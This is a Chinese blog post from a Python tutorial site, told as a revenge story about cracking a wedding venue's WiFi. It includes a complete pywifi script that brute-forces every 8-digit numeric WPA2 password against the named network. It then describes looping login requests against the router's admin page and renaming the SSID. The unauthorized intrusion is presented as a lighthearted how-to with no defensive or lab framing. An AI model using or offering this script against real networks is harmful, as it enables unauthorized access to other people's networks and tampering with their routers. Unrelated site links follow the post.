在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了


Posted in Python onMay 28, 2021

一、前言

事情是这样的

小编来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

现场的WiFi名称叫:"婚礼第一大厅"

二、python破解WiFi密码

1.安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi
 
Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12
 
PS C:\Users\pacer> pip install comtypes
 
Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |????????????????????????????????| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2.生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3.完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const
 
for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()
 
    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

三、连接成功

一段时间后,连接成功。

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

拿到wifi密码之后

四、拿下路由器

1.路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2.路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

3.循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

五、修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

六、故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

WiFi名改好了,告辞~

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

到此这篇关于在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了!的文章就介绍到这了,更多相关Python破解WiFi密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python进阶教程之函数参数的多种传递方法
Aug 30 Python
Python最基本的输入输出详解
Apr 25 Python
python实现list由于numpy array的转换
Apr 04 Python
Numpy数组的保存与读取方法
Apr 04 Python
Python实现中一次读取多个值的方法
Apr 22 Python
对PyQt5中的菜单栏和工具栏实例详解
Jun 20 Python
Pycharm如何运行.py文件的方法步骤
Mar 03 Python
keras中的backend.clip用法
May 22 Python
高考考python编程是真的吗
Jul 20 Python
python-for x in range的用法(注意要点、细节)
May 10 Python
anaconda python3.8安装后降级
Jun 11 Python
Python捕获、播放和保存摄像头视频并提高视频清晰度和对比度
Apr 14 Python
pytorch DataLoader的num_workers参数与设置大小详解
May 28 #Python
Flask搭建一个API服务器的步骤
May 28 #Python
Python趣味挑战之给幼儿园弟弟生成1000道算术题
May 28 #Python
解决Python中的modf()函数取小数部分不准确问题
May 28 #Python
利用Python+OpenCV三步去除水印
python实现自定义日志的具体方法
May 28 #Python
python 爬取京东指定商品评论并进行情感分析
You might like
玛琪朵 Macchiato
2021/03/03 咖啡文化
增加反向链接的101个方法 站长推荐
2007/01/31 PHP
PHP函数import_request_variables()用法分析
2016/04/02 PHP
php opendir()列出目录下所有文件的实例代码
2016/10/02 PHP
用Javscript实现表单复选框的全选功能
2007/05/25 Javascript
传智播客学习之java 反射
2009/11/22 Javascript
CSS和JS标签style属性对照表(方便js开发的朋友)
2010/11/11 Javascript
JS 添加网页桌面快捷方式的代码详细整理
2012/12/27 Javascript
原生javascript和jquery判断浏览器版本等信息
2013/07/04 Javascript
jQuery过滤选择器用法分析
2015/02/10 Javascript
详解Angular 开发环境搭建
2017/06/22 Javascript
Node.js简单入门前传
2017/08/21 Javascript
Node Puppeteer图像识别实现百度指数爬虫的示例
2018/02/22 Javascript
VUE 实现滚动监听 导航栏置顶的方法
2018/09/11 Javascript
在vue中封装的弹窗组件使用队列模式实现方法
2020/07/23 Javascript
[48:37]EG vs OG 2018国际邀请赛小组赛BO2 第一场 8.17
2018/08/18 DOTA
python实现socket端口重定向示例
2014/02/10 Python
使用python编写脚本获取手机当前应用apk的信息
2014/07/21 Python
python基础教程之分支、循环简单用法
2016/06/16 Python
pandas 缺失值与空值处理的实现方法
2019/10/12 Python
python图形开发GUI库pyqt5的基本使用方法详解
2020/02/14 Python
什么是跨站脚本攻击
2014/12/11 面试题
自我鉴定模板
2013/10/29 职场文书
大学生毕业的自我鉴定
2013/11/13 职场文书
日本语毕业生自荐信
2014/02/01 职场文书
索桥的故事教学反思
2014/02/06 职场文书
餐厅经理岗位职责范本
2014/02/17 职场文书
英语专业职业生涯规划范文
2014/03/05 职场文书
班主任个人工作反思
2014/04/28 职场文书
会计学习心得体会
2014/09/09 职场文书
男生贾里读书笔记
2015/06/30 职场文书
2019奶茶店创业计划书范本,值得你借鉴
2019/08/14 职场文书
大学学生会主席竞选稿怎么写?
2019/08/19 职场文书
本地通过nginx配置反向代理的全过程记录
2021/03/31 Servers
MySQL表的增删改查基础教程
2021/04/07 MySQL
MySQL为id选择合适的数据类型
2021/06/07 MySQL